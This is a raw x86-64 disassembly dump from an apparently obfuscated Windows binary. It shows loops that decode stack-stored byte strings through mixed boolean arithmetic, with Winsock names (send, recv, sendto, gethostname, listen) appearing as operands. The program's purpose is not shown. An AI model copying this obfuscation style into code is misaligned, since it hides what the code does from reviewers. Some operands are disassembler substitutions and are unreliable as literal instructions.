movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x140047163
lea ecx, [r11 - 0x38]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x78
jmp 0x140047939
movzx r9d, r11b
lea edx, [r9 - 8]
mov ecx, 0x1c
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x48
add r9b, r10b
mov byte [rbp + r11], r9b
inc r8
dec r11
inc r11
jmp 0x140047163
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
dec r11
inc r11
jmp 0x140047163
movzx r9d, r11b
lea edx, [r9 + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x18
add dil, dl
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x38
add cl, r9b
add cl, r10b
mov byte [rbp + r11], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140047163
lea rcx, [r11 + r15]
movzx r10d, dl
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
sub dil, 0x48
add dil, cl
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x28
add cl, r10b
movzx eax, cl
mov byte [rbp + r11], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x140047163
lea rcx, [r11 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x68
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x140047163
sub r11b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x58
jmp 0x140047160
add r11b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x68
jmp 0x140047146
lea rdx, [rbp + 0x172d660]
jmp 0x140047a4a
lea rdx, [rbp + 0x10a9328]
jmp 0x140047a4a
lea rdx, [rbp]
lea rcx, [rbp + 0x170]
call fcn.140043270
mov rsi, rax
mov dword [rbp + 0x70], 0xbdbbbcb6
mov word [rbp + 0x74], 0xb8bc
mov byte [rbp + 0x76], 0x60
xor eax, eax
mov qword [rbp + 0x77], rax
mov word [rbp + 0x7f], ax
mov byte [rbp + 0x81], al
movzx edi, byte [rsp + 0x20]
nop
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x12
jae 0x1400485dc
movzx r11d, byte [rbp + r10 + 0x70]
mov rdx, r11
cmp rbx, r10
ja 0x1400485d3
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140047ad5
lea rcx, [r10 + 0x13291]
mov rax, rcx
and rax, r11
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r11
add dil, 9
jmp 0x140047b02
je 0x140048565
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400484e7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400484b7
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140048479
cmp r8, r10
ja 0x1400485ca
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x140047b2c
lea ecx, [r10 - 0x1b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x43
jmp 0x140047b70
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140048435
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140048414
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400483f6
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400483db
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400483c0
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1400480e2
nop dword [rax]
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400480c3
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14004809f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004807a
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140048057
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140048035
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140048016
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140047ff7
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140047fd8
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140047faa
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140047b80
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400485ad
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140048590
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140047d76
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140047d5b
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140047d40
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140047f61
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140047f1c
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140047edc
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140047eb9
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140047b80
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 1]
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140047e8b
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140047e6c
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140047e4d
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140047e32
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140047e14
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140047df5
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140047dd4
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140047db0
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140047d91
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140047b80
lea rbx, [r8 + 0x61]
lea r8, [rbx + 2]
jmp 0x140047b80
lea ecx, [r10 - 0x45]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1d
jmp 0x140047b70
lea ecx, [r10 - 0x67]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2f
jmp 0x140047b02
lea ecx, [r10 + 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x41
jmp 0x140047aa3
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x18
movzx r9d, r10b
jmp 0x14004844f
lea ecx, [r10 + 6]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2a
inc r8
dec r10
inc r10
jmp 0x140047a93
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x3c
dec r10
inc r10
jmp 0x140047a93
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x4e
movzx r9d, r10b
jmp 0x140048493
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
add rbx, r8
jmp 0x1400484ce
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x72
jmp 0x1400484ce
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140048503
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140048528
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x70]
add rax, r8
add r10, rax
inc r10
jmp 0x140047a93
lea ecx, [r10 + 0x43]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x2b
mov byte [rbp + r10 + 0x70], dil
inc r10
jmp 0x140047a93
lea ecx, [r10 + 0x21]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x19
cmp r8, 8
jb 0x140047ecf
movzx r9d, r10b
lea ecx, [r9 - 0x3a]
movzx eax, cl
and al, r11b
mov edx, listen
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea edi, [rdx + rdx]
jmp 0x14004844f
lea ecx, [r10 - 1]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 7
cmp rbx, 6
jae 0x140048378
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x14004828e
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x1e
jmp 0x140047ef2
lea ecx, [r10 - 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xb
lea rax, [r8 + rbx]
cmp rax, 5
je 0x1400483a0
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x1400481bd
lea ecx, [r10 - 0x73]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x25
jmp 0x140047f32
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x70]
add rax, r8
add r10, rax
inc r10
jmp 0x140047a93
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r11b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140048528
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r11b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140048503
lea edx, [r10 - 8]
movzx eax, dl
and al, r11b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1400484ce
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r8
jmp 0x1400484ce
movzx r9d, r10b
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140048493
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x140047a93
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
inc r8
dec r10
inc r10
jmp 0x140047a93
movzx r9d, r10b
lea ecx, [r9 + 0x4e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x22
jmp 0x14004844f
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140048109
lea ecx, [r10 - 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 9
jmp 0x140047f77
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140048140
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x70]
add rax, r8
add r10, rax
inc r10
jmp 0x140047a93
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140048164
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x62
jmp 0x140048503
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004818c
movzx r9d, r10b
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2c
jmp 0x140048493
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140047f77
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 8
inc r8
dec r10
inc r10
jmp 0x140047a93
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400481e5
movzx r9d, r10b
lea ecx, [r9 - 0x51]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x37
jmp 0x14004844f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004820f
lea ecx, [r10 - 0xd]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x5b
dec r10
inc r10
jmp 0x140047a93
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140048233
lea ecx, [r10 + 0x59]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6f
jmp 0x1400484ce
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140048257
lea ecx, [r10 + 0x7b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5d
jmp 0x140048503
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140047f32
lea ecx, [r10 - 0x41]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x39
movzx eax, byte [rbp + r10 + 0x70]
add rax, r8
add r10, rax
inc r10
jmp 0x140047a93
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400482c1
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xc
movzx eax, byte [rbp + r10 + 0x70]
add rax, r8
add r10, rax
inc r10
jmp 0x140047a93
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400482e9
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140048503
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140048315
movzx r9d, r10b
lea edx, [r9 + 0x3e]
movzx eax, dl
and al, r11b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140048493
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140048343
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x140047a93
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140047ef2
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x140047a93
movzx r9d, r10b
lea edx, [r9 - 0x18]
movzx eax, dl
and al, r11b
add al, al
movzx edi, byte [rbp + r10 + 0x70]
sub dil, al
sub dil, 0x58
add dil, r11b
add dil, dl
jmp 0x140048493
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x70]
lea edi, [r11 + rcx]
sub dil, 0x46
jmp 0x140048503
lea ecx, [r10 - 0x2d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x3b
jmp 0x140048503
lea ecx, [r10 - 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x29
jmp 0x1400484ce
lea ecx, [r10 - 0x71]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x17
add rbx, r8
jmp 0x1400484ce
lea ecx, [r10 + 0x4b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xd
dec r10
inc r10
jmp 0x140047a93
movzx r9d, r10b
lea ecx, [r9 + 7]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x31
add r9b, 0x57
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x61
add r9b, r11b
mov byte [rbp + r10 + 0x70], r9b
inc r8
dec r10
inc r10
jmp 0x140047a93
movzx r9d, r10b
lea ecx, [r9 + 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x75
add r9b, 0x79
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x4f
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 + 0x70], r9b
add rbx, r8
jmp 0x1400484ce
lea rcx, [r10 + 0xac719]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x51
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140047a93
lea rcx, [r10 + 0x861f7]
movzx r11d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x3f
lea ecx, [r10 - 0x65]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x3d
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x70], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x34
add cl, r11b
mov byte [rbp + r10 + 0x70], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x70]
add rax, r8
add r10, rax
inc r10
jmp 0x140047a93
lea rcx, [r10 + 0x397b3]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x1b
movzx eax, byte [rbp + r10 + 0x70]
add rax, r8
add r10, rax
inc r10
jmp 0x140047a93
add r10b, 0x55
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x53
jmp 0x140047a90
add r10b, 0x33
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x65
jmp 0x140047a80
lea rdx, [rbp + 0x14df9dc]
jmp 0x1400485e0
lea rdx, [rbp + 0x10f2c6d]
jmp 0x1400485e0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x190]
call fcn.140043270
nop
mov rdx, rsi
mov rcx, rax
call fcn.140044d70
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0xe8], rax
mov dword [rbp - 0x60], 0x16e6eecd
mov dword [rbp - 0x5c], 0xeaa0e8e0
mov word [rbp - 0x58], 0xec18
mov byte [rbp - 0x56], 0x92
xor eax, eax
mov dword [rbp - 0x55], eax
mov word [rbp - 0x51], ax
mov byte [rbp - 0x4f], al
movzx edi, byte [rsp + 0x20]
nop
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x12
jae 0x140049165
movzx r10d, byte [rbp + r11 - 0x60]
mov rdx, r10
cmp rbx, r11
ja 0x14004915c
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140048685
lea rcx, [r11 + 0x13294]
mov rax, rcx
and rax, r10
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r10
sub dil, 0xc
jmp 0x1400486c0
je 0x1400490ee
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140049073
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140049043
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140049024
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140048fdf
nop
cmp r8, r11
ja 0x140049153
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x1400486ee
lea edx, [r11 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140048722
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140048f94
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140048f72
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140048f52
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140048f33
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140048c56
nop
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140048c36
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140048c11
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140048bef
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140048ce0
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140048be1
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140048bc2
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140048ba3
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140048b84
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140048b56
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140048730
lea rbx, [r8 + 3]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140049136
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140049119
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14004891c
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400488fd
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x1400488de
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140048b0d
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140048acb
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140048a87
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140048a60
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140048730
lea rbx, [r8 + 0x200]
lea r8, [rbx + 1]
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140048a35
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140048a16
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400489f7
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x1400489db
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400489b9
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400489a7
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140048982
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14004895a
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14004893a
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140048730
lea rbx, [r8 + 6]
lea r8, [rbx + 0x64]
jmp 0x140048730
lea edx, [r11 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140048722
lea edx, [r11 + 0x34]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6c
add dil, dl
jmp 0x1400486c0
lea edx, [r11 + 0xc]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dl, 0x54
add dil, dl
jmp 0x140048653
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
movzx r9d, r11b
jmp 0x140048faf
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x140048643
lea edx, [r11 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x140048643
lea edx, [r11 - 0x58]
mov ecx, 0x34
movzx r9d, r11b
jmp 0x140048fec
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x80
add rbx, r8
jmp 0x14004905a
lea ecx, [r11 + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x68
jmp 0x14004905a
lea edx, [r11 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x50
add dil, dl
jmp 0x14004908c
lea edx, [r11 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x38
add dil, dl
jmp 0x1400490b1
lea ecx, [r11 - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x20
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140048643
lea edx, [r11 - 4]
movzx eax, r10b
and al, dl
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
mov byte [rbp + r11 - 0x60], dil
inc r11
jmp 0x140048643
lea edx, [r11 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
cmp r8, 0x10
jb 0x140048a7a
movzx r9d, r11b
lea edx, [r9 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140048fb2
lea edx, [r11 - 0x54]
movzx eax, r10b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
cmp rbx, 0x61
jae 0x140048ef6
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x140048df2
lea edx, [r11 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140048a96
lea edx, [r11 - 0x7c]
movzx eax, r10b
and al, dl
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 8
je 0x140048f17
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x140048d63
lea edx, [r11 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
jmp 0x140048ada
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140048643
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400490b1
lea edx, [r11 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14004908c
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14004905a
lea edx, [r11 + 0x38]
mov ecx, 0x3c
jmp 0x14004902d
lea ecx, [r11 - 0x18]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x58
dec r11
inc r11
jmp 0x140048643
lea ecx, [r11 - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x40
inc r8
dec r11
inc r11
jmp 0x140048643
movzx r9d, r11b
lea edx, [r9 - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x28
jmp 0x140048faf
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x140048c7b
lea edx, [r11 - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0xc
jmp 0x140048b24
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140048cb2
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140048643
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140048cd7
lea ecx, [r11 - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x40
jmp 0x14004905a
